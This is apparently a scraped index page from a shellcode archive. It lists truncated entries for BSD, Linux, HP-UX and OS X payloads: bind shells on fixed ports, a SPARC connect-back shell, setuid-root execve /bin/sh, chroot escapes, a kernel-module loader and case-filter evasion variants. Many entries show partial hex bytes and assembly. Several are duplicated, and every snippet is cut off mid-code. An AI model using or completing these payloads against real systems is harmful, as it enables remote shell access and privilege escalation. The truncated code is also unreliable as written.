bsd/x86 portbind port 31337 83 bytes

Exploit for bsd/x86 platform in category shellcode ==================================== bsd/x86 portbind port 31337 83 bytes ==================================== / portbinding execve shellcode port 31337 bsd/x86 83b - no1 greyhats.za.net / char shellc0de= "\x99" // cdq "\x52" // pushl %edx...

bsd/x86 execve /bin/sh setuid (0) 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes

freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes. Shellcode exploit for freebsdx86 platform / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh", 06755; 44 bytes Claes M. Nyberg 20020209 , / / void mainvoid asm" xor %eax, %eax eax = 0 pushl %eax string ends with NULL pushl...

bsd/x86 execve /bin/sh setuid (0) 29 bytes

Exploit for bsd/x86 platform in category shellcode ========================================== bsd/x86 execve /bin/sh setuid 0 29 bytes ========================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0...

freebsd/x86 - kldload /tmp/o.o 74 bytes

freebsd/x86 kldload /tmp/o.o 74 bytes. Shellcode exploit for freebsdx86 platform / The kldload shellcode setuid0 loads /tmp/o.o kernel module Size 74 bytes OS FreeBSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor eax,eax mov al,0x17 push eax in...

HPUX execve /bin/sh 58 bytes

No description provided by source. / Hp-Ux execve of /bin/sh by K2 / uchar shellcode = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"...

os-x/PPC execve /bin/sh 72 bytes

Exploit for os-x/ppc platform in category shellcode ================================ os-x/PPC execve /bin/sh 72 bytes ================================ / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/bin/sh; exit0; See ASM below. 72 Bytes. / char shellcode =...

freebsd/x86 execve /bin/sh 37 bytes

Exploit for freebsd/x86 platform in category shellcode =================================== freebsd/x86 execve /bin/sh 37 bytes =================================== / This is FreeBSD execve code.It is 37 bytes long.I'll try to make it smaller.Till then use this one. signed predator...

linux/SPARC - connect back 216 bytes

linux/SPARC connect back 216 bytes. Shellcode exploit for linuxsparc platform / linux sparc connect back shellcode, because someone had to evade those firewalls. sigh / / OS : Linux Architecture : Sparc Type : Connect Back Lenght : 216 Bytes Listen-Port : 2313/TCP Default IP : 192.168.100.1 see h...

os-x/PPC reboot 28 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does sync reboot; See ASM below. 28 Bytes. / char shellcode = "\x7c\x63\x1a\x79" "\x39\x40\x01\x70" "\x38\x0a\xfe\xb4" "\x44\xff\xff\x02" "\x60\x60\x60\x60" "\x38\x0a\xfe\xc7" "\x44\xff\xff\x02"; int main void asm"b...

bsd/x86 portbind port random 143 bytes

No description provided by source. Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / 143 bytes / char shellcode = "\x31\xC0" "\x50" "\x50" "\xB0\x17" "\xCD\x80" // setuid "\x31\xC0" "\x50" "\x50" "\xB0\xB5" "\xCD\x80" //...

linux/x86 execve /bin/sh IA32 0xff-less 45 bytes

Exploit for linux/x86 platform in category shellcode ================================================ linux/x86 execve /bin/sh IA32 0xff-less 45 bytes ================================================ / 0xff-less execve /bin/sh by anathema / include include unsigned char code = / Linux/IA32...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

Exploit for bsdi/x86 platform in category shellcode ================================================ bsdi/x86 execve /bin/sh toupper evasion 97 bytes ================================================ / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor...

linux/SPARC - portbind port 8975 284 bytes

linux/SPARC portbind port 8975 284 bytes. Shellcode exploit for linuxsparc platform / 0-day portbind shellcode for all those Sun machines running linux.. Coded from scratch, so i take all the credits. It simply binds a pretty shell in port 8975/tcp enjoy. no nulls, no fork, no shit, couldn't be...

linux/x86 break chroot 34 bytes

linux/x86 break chroot 34 bytes. Shellcode exploit for linx86 platform / The setuid0+chroot shellcode. It is the one of the smallest shellcodes in the !!world!! it will put '../' 10 times Size 34 bytes OS BSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 xor ecx,ecx xor eax,eax...

linux/x86 break chroot 46 bytes

linux/x86 break chroot 46 bytes. Shellcode exploit for linx86 platform / The setuid0+chroot shellcode it will put '../' 10 times Size 46 bytes OS BSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi mov edi,esi xor ecx,ecx push ecx mov al,0x17 push ea...

linux/x86 break chroot 46 bytes

Exploit for linux/x86 platform in category shellcode =============================== linux/x86 break chroot 46 bytes =============================== / The setuid0+chroot shellcode it will put '../' 10 times Size 46 bytes OS BSD /rootteam/dev0id www.sysworld.net email protected BITS 32 jmp short...

linux/x86 execve /bin/sh tolower() evasion 41 bytes

No description provided by source. / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include stdio.h char c0de = / main: / "\xeb\x1b" / jmp callz / / start: / "\x5e" / popl %esi / "\x89\xf3" / movl %esi, %ebx / "\x89\xf7" / movl %esi, %edi / "\x83\xc7\x07" / addl $0x07,...

linux/x86 portbind port 5074 + fork 130 bytes

linux/x86 portbind port 5074 + fork 130 bytes. Shellcode exploit for linx86 platform / [email protected] 0x9abril0x7d2 syssocketcall 102 0x66 %eax, esta es nuestra rutina principal. En todas las subrutinas vamos a necesitar a: %eax = 0x66. Luego del archivo include/linux/net.h obtenemos l...

linux/x86 break chroot 34 bytes

Exploit for linux/x86 platform in category shellcode =============================== linux/x86 break chroot 34 bytes =============================== / The setuid0+chroot shellcode. It is the one of the smallest shellcodes in the !!world!! it will put '../' 10 times Size 34 bytes OS BSD...